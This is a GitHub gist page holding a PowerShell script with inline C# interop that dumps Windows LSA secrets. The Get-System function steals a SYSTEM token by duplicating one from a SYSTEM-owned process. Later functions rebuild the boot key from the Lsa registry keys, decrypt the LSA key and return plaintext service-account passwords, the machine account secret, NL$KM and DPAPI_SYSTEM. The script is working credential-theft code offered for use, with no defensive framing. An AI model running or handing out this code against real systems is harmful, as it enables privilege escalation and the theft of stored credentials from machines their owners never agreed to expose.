Skip to content

Instantly share code, notes, and snippets.

@0xbadjuju
Last active May 20, 2018 02:28
Show Gist options
  • Save 0xbadjuju/6afbc95d8a5488752e19b87cd1567762 to your computer and use it in GitHub Desktop.
Save 0xbadjuju/6afbc95d8a5488752e19b87cd1567762 to your computer and use it in GitHub Desktop.
$Win32Native = @"
using Microsoft.Win32;
using System;
using System.Runtime.InteropServices;
public class Kernel32
{
const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001;
const UInt32 TOKEN_DUPLICATE = 0x0002;
const UInt32 TOKEN_IMPERSONATE = 0x0004;
const UInt32 TOKEN_QUERY = 0x0008;
public const UInt32 TOKEN_ALT = (TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY);
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(int access, bool inheritHandler, uint processId);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern Boolean OpenProcessToken(IntPtr hProcess, UInt32 dwDesiredAccess, out IntPtr hToken);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern Boolean CloseHandle(IntPtr hProcess);
}
public class Advapi32
{
[DllImport("advapi32.dll", SetLastError=true)]
public static extern Boolean DuplicateTokenEx(IntPtr hExistingToken, UInt32 dwDesiredAccess, IntPtr lpTokenAttributes, Int32 ImpersonationLevel, Int32 TokenType, out IntPtr phNewToken);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern Boolean ImpersonateLoggedOnUser(IntPtr hToken);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern UInt32 RegCloseKey(IntPtr hKey);
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError=true)]
public static extern UInt32 RegOpenKeyEx(IntPtr hKey, String subKey, Int32 ulOptions, Int32 samDesired, out IntPtr hkResult);
[DllImport("advapi32.dll", CharSet = CharSet.Ansi, SetLastError=true)]
public static extern UInt32 RegQueryInfoKey(IntPtr hKey, System.Text.StringBuilder lpClass, ref UInt32 lpcchClass, IntPtr lpReserved, out UInt32 lpcSubkey, out UInt32 lpcchMaxSubkeyLen, out UInt32 lpcchMaxClassLen, out UInt32 lpcValues, out UInt32 lpcchMaxValueNameLen, out UInt32 lpcbMaxValueLen, IntPtr lpSecurityDescriptor, IntPtr lpftLastWriteTime);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern UInt32 RegQueryValueEx(IntPtr hKey, String lpValueName, Int32 lpReserved, ref RegistryValueKind lpType, IntPtr lpData, ref Int32 lpcbData);
}
"@
Add-Type -TypeDefinition $Win32Native
function Get-System () {
[cmdletbinding()]
Param()
$SystemSID = New-Object System.Security.Principal.SecurityIdentifier([System.Security.Principal.WellKnownSidType]::LocalSystemSid, $null);
$SystemAccountName = $SystemSID.Translate([System.Security.Principal.NTAccount]).Value.ToString();
if ($SystemAccountName -eq [System.Security.Principal.WindowsIdentity]::GetCurrent().Name)
{
Write-Verbose "Already Operating As $SystemAccountName"
return;
}
$procs = Get-WmiObject -Class Win32_Process
foreach($proc in $procs)
{
$owner = $proc.GetOwner()
$accountName = $owner.Domain+"\"+$owner.User
if ($SystemAccountName -eq $accountName)
{
$hProcess = [Kernel32]::OpenProcess([UInt32]0x438, $true, [UInt32]$proc.ProcessId);
if ($hProcess -eq [IntPtr]::Zero)
{
continue;
}
Write-Verbose "$($proc.ProcessName) $($proc.ProcessId)";
Write-Verbose "Process Handle: 0x$($hProcess.ToString("X4"))";
$hExistingToken = New-Object IntPtr;
if (-not [Kernel32]::OpenProcessToken($hProcess, [Kernel32]::TOKEN_ALT, [ref] $hExistingToken))
{
continue;
}
Write-Verbose "Token Handle: 0x$($hExistingToken.ToString("X4"))";
$null = [Kernel32]::CloseHandle($hProcess);
$phNewToken = New-Object IntPtr;
if (-not [advapi32]::DuplicateTokenEx($hExistingToken, 0x02000000, [IntPtr]::Zero, 2, 1, [ref] $phNewToken))
{
continue;
}
Write-Verbose "Duplicate Token: 0x$($phNewToken.ToString("X4"))";
$null = [Kernel32]::CloseHandle($hExistingToken);
if (-not [advapi32]::ImpersonateLoggedOnUser($phNewToken))
{
continue;
}
$null = [Kernel32]::CloseHandle($phNewToken);
Write-Verbose "Operating As: $(([System.Security.Principal.WindowsIdentity]::GetCurrent()).Name)";
break;
}
}
}
function Invoke-ReadRegKeyInfo
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True, HelpMessage="Registry Key to Open.")]
[String]$key
)
$HKeyLocalMachine = New-Object IntPtr(2147483650);
$hKey = New-Object IntPtr;
$null = [Advapi32]::RegOpenKeyEx($HKeyLocalMachine, $key, 0, 0x1, [ref] $hKey);
if ([System.IntPtr]::Zero -eq $hKey)
{
Write-Warning $(New-Object System.ComponentModel.Win32Exception([System.Runtime.InteropServices.Marshal]::GetLastWin32Error()).Message)
return $null;
}
$lpcchClass = [UInt32] 0;
$lpcSubkey = [UInt32] 0;
$lpcchMaxSubkeyLen = [UInt32] 0;
$lpcchMaxClassLen = [UInt32] 0;
$lpcValues = [UInt32] 0;
$lpcchMaxValueNameLen = [UInt32] 0;
$lpcbMaxValueLen = [UInt32] 0;
$null = [Advapi32]::RegQueryInfoKey($hKey, $null, [ref] $lpcchClass, [IntPtr]::Zero, [ref] $lpcSubkey, [ref] $lpcchMaxSubkeyLen, [ref] $lpcchMaxClassLen, [ref] $lpcValues, [ref] $lpcchMaxValueNameLen, [ref] $lpcbMaxValueLen, [System.IntPtr]::Zero, [System.IntPtr]::Zero);
if ($lpcchClass -eq 0)
{
Write-Warning $(New-Object System.ComponentModel.Win32Exception([System.Runtime.InteropServices.Marshal]::GetLastWin32Error()).Message)
return $null;
}
$lpcchClass++;
$lpClass = New-Object System.Text.StringBuilder($lpcchClass);
$null = [Advapi32]::RegQueryInfoKey($hKey, $lpClass, [ref] $lpcchClass, [IntPtr]::Zero, [ref] $lpcSubkey, [ref] $lpcchMaxSubkeyLen, [ref] $lpcchMaxClassLen, [ref] $lpcValues, [ref] $lpcchMaxValueNameLen, [ref] $lpcbMaxValueLen, [System.IntPtr]::Zero, [System.IntPtr]::Zero);
if ($lpClass.ToString().Length -eq 0)
{
Write-Warning $(New-Object System.ComponentModel.Win32Exception([System.Runtime.InteropServices.Marshal]::GetLastWin32Error()).Message)
return $null;
}
$null = [Advapi32]::RegCloseKey($hKey);
return $lpClass.ToString();
}
function Invoke-ReadRegKey()
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True, HelpMessage="Registry Key to Open.")]
[String]$key,
[Parameter(Mandatory=$False, HelpMessage="Registry Key Value to Read.")]
[String]$value = ""
)
$HKeyLocalMachine = New-Object IntPtr(2147483650);
$hKey = New-Object IntPtr;
$null = [Advapi32]::RegOpenKeyEx($HKeyLocalMachine, $key, 0, 0x1, [ref] $hKey);
if ([System.IntPtr]::Zero -eq $hKey)
{
Write-Warning "RegOpenKeyEx";
Write-Warning $(New-Object System.ComponentModel.Win32Exception([System.Runtime.InteropServices.Marshal]::GetLastWin32Error()).Message)
return $null;
}
$type = [Microsoft.Win32.RegistryValueKind]::Unknown;
$size = 0;
$null = [Advapi32]::RegQueryValueEx($hKey, $value, 0, [ref] $type, [IntPtr]::Zero, [ref] $size);
if (0 -eq $size)
{
Write-Warning "RegQueryValueEx1";
Write-Warning $(New-Object System.ComponentModel.Win32Exception([System.Runtime.InteropServices.Marshal]::GetLastWin32Error()).Message)
return $null;
}
$pResult = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($size);
$null = [Advapi32]::RegQueryValueEx($hKey, $value, 0, [ref] $type, $pResult, [ref] $size);
if (0 -eq $size)
{
Write-Warning "RegQueryValueEx2";
Write-Warning $(New-Object System.ComponentModel.Win32Exception([System.Runtime.InteropServices.Marshal]::GetLastWin32Error()).Message)
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($pResult);
return $null;
}
$null = [Advapi32]::RegCloseKey($hKey);
$Result = $null;
if ($type -eq [Microsoft.Win32.RegistryValueKind]::Binary -or $type -eq [Microsoft.Win32.RegistryValueKind]::Unknown)
{
$Result = New-Object Byte[]($size);
$null = [System.Runtime.InteropServices.Marshal]::Copy($pResult, $Result, 0, $size)
}
elseif ($type -eq [Microsoft.Win32.RegistryValueKind]::String)
{
$Result = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($pResult)
}
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($pResult);
return $Result;
}
function Get-BootKey
{
[cmdletbinding()]
Param()
[System.Int32[]] $PermutationMatrix = @(0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7)#@( 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 );
$StrBootKey = New-Object System.Text.StringBuilder;
$StrBootKey.Append($(Invoke-ReadRegKeyInfo('SYSTEM\CurrentControlSet\Control\Lsa\JD'))) | Out-Null
$StrBootKey.Append($(Invoke-ReadRegKeyInfo('SYSTEM\CurrentControlSet\Control\Lsa\Skew1'))) | Out-Null
$StrBootKey.Append($(Invoke-ReadRegKeyInfo('SYSTEM\CurrentControlSet\Control\Lsa\GBG'))) | Out-Null
$StrBootKey.Append($(Invoke-ReadRegKeyInfo('SYSTEM\CurrentControlSet\Control\Lsa\Data'))) | Out-Null
$length = $StrBootKey.Length;
if (0 -eq $length)
{
return;
}
$BootKey = New-Object Byte[] $($length/2);
$j = 0;
$temp = New-Object System.Text.StringBuilder;
for ($i = 0; $i -lt $StrBootKey.Length; $i+=2)
{
$temp.Append($StrBootKey[$i].ToString()) | Out-Null
$temp.Append($StrBootKey[$i+1].ToString()) | Out-Null
$BootKey[$j++] = [System.Convert]::ToByte($temp.ToString(), 16);
$temp.Clear() | Out-Null
}
$StrBootKey = $null;
$BootKeyPermutation = New-Object Byte[] ($BootKey.Length)
for ($k = 0; $k -lt $BootKey.Length; $k++)
{
$BootKeyPermutation[$k] = [Byte] $BootKey[$PermutationMatrix[$k]];
}
return $BootKeyPermutation;
}
function Merge-Bytes
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True, HelpMessage="Value 1.")]
[AllowEmptyCollection()]
[Byte[]]$Value1,
[Parameter(Mandatory=$True, HelpMessage="Value 2.")]
[Byte[]]$Value2
)
$Size = $Value1.Length + $Value2.Length;
$Temp = New-Object Byte[]($Size);
$MemoryStream = New-Object System.IO.MemoryStream($Temp, 0, $Size, $True, $True);
$MemoryStream.Write($Value1, 0, $Value1.Length);
$MemoryStream.Write($Value2, 0, $Value2.Length);
$CombinedBytes = $MemoryStream.GetBuffer();
return $CombinedBytes;
}
function Unprotect-Lsa
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True, HelpMessage="Value to Decrypt.")]
[Byte[]]$Secret,
[Parameter(Mandatory=$True, HelpMessage="Decryption Key.")]
[Byte[]]$Key
)
[Byte[]] $CombinedKey = $Key;
$i = 28; $j = $i + 32 - 1;
[Byte[]] $SplicedSecret = $Secret[$i..$j];
$sha256 = New-Object System.Security.Cryptography.SHA256Managed;
for ($i = 0; $i -lt 1000; $i++)
{
$CombinedKey = Merge-Bytes -Value1 $CombinedKey -Value2 $SplicedSecret
}
$Hash = $sha256.ComputeHash($CombinedKey);
$PlaintextSecret = New-Object Byte[](0);
for ($i = 60; $i -lt $Secret.Length; $i += 16)
{
$AES = New-Object System.Security.Cryptography.AesManaged;
$AES.Key = $Hash;
$AES.Mode = [System.Security.Cryptography.CipherMode]::CBC;
$AES.IV = @(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
$AES.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;
[System.Security.Cryptography.ICryptoTransform] $Decryptor = $AES.CreateDecryptor();
$PlaintextBytes = $Decryptor.TransformFinalBlock($Secret, $i, 16);
$PlaintextSecret = Merge-Bytes -Value1 $PlaintextSecret -Value2 $PlaintextBytes
}
return $PlaintextSecret;
}
function local:Get-LsaKey
{
$BootKey = Get-BootKey;
$StrBootKey = $([System.BitConverter]::ToString($BootKey).Replace("-",""))
Write-Verbose "BootKey: $StrBootKey";
[Byte[]] $PolEKList = Invoke-ReadRegKey -Key 'SECURITY\Policy\PolEKList';
[Byte[]] $LsaKey = Unprotect-Lsa -Secret $PolEKList -Key $BootKey;
$i = 68; $j = $i + 32 - 1;
return $LsaKey[$i..$j]
}
function Format-Password
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True, HelpMessage="Value to Decrypt.")]
[Byte[]] $DecryptedSecret
)
$Length = [Int32]$DecryptedSecret[0];
if ($Length -eq 0)
{
return "<Blank_Password>";
}
else
{
$i = 16; $j = $i + $Length;
[Byte[]] $PasswordText = $DecryptedSecret[$i..$j];
[String] $Password = [System.Text.Encoding]::Unicode.GetString($PasswordText);
return $Password;
}
}
function Get-LsaSecrets
{
[cmdletbinding()]
Param()
Get-System;
$SecretSubKeys = [Microsoft.Win32.Registry]::LocalMachine.OpenSubKey('SECURITY\Policy\Secrets').GetSubKeyNames();
if ($SecretSubKeys.Length -eq 0)
{
return;
}
$LsaKey = Get-LsaKey;
$StrLsaKey = [System.BitConverter]::ToString($LsaKey).Replace("-","")
Write-Verbose "LSA Key: $StrLsaKey"
$LsaTable = @()
foreach ($Secret in $SecretSubKeys)
{
$ProtectedSecret = Invoke-ReadRegKey -Key "SECURITY\\Policy\\Secrets\\$Secret\\CurrVal"
$DecryptedSecret = Unprotect-Lsa -Secret $ProtectedSecret -Key $LsaKey
Write-Verbose $Secret;
if ($Secret -eq "`$MACHINE.ACC" -or $Secret -eq "NL`$KM" -or $Secret -eq "DPAPI_SYSTEM")
{
$ServiceName = $Secret;
$i = 16; $j = $i + $DecryptedSecret[0];
$Password = [System.BitConverter]::ToString($DecryptedSecret[$i..$j]);
}
elseif ($Secret.Substring(0, 4) -eq "_SC_")
{
$i = 4; $j = $Secret.Length - $i;
$ServiceName = $Secret.SubString($i,$j);
[String] $UserName = Invoke-ReadRegKey -key "SYSTEM\\CurrentControlSet\\Services\\$ServiceName" -Value "ObjectName"
$Password = Format-Password -DecryptedSecret $DecryptedSecret;
}
else
{
$UserName = $Secret;
$Password = Format-Password -DecryptedSecret $DecryptedSecret;
}
$LsaTable += New-Object PSCustomObject -Property @{
ServiceName = $ServiceName
UserName = $UserName
Password = $Password
}
$ServiceName = $null; $UserName = $null; $Password = $null;
}
return $LsaTable;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment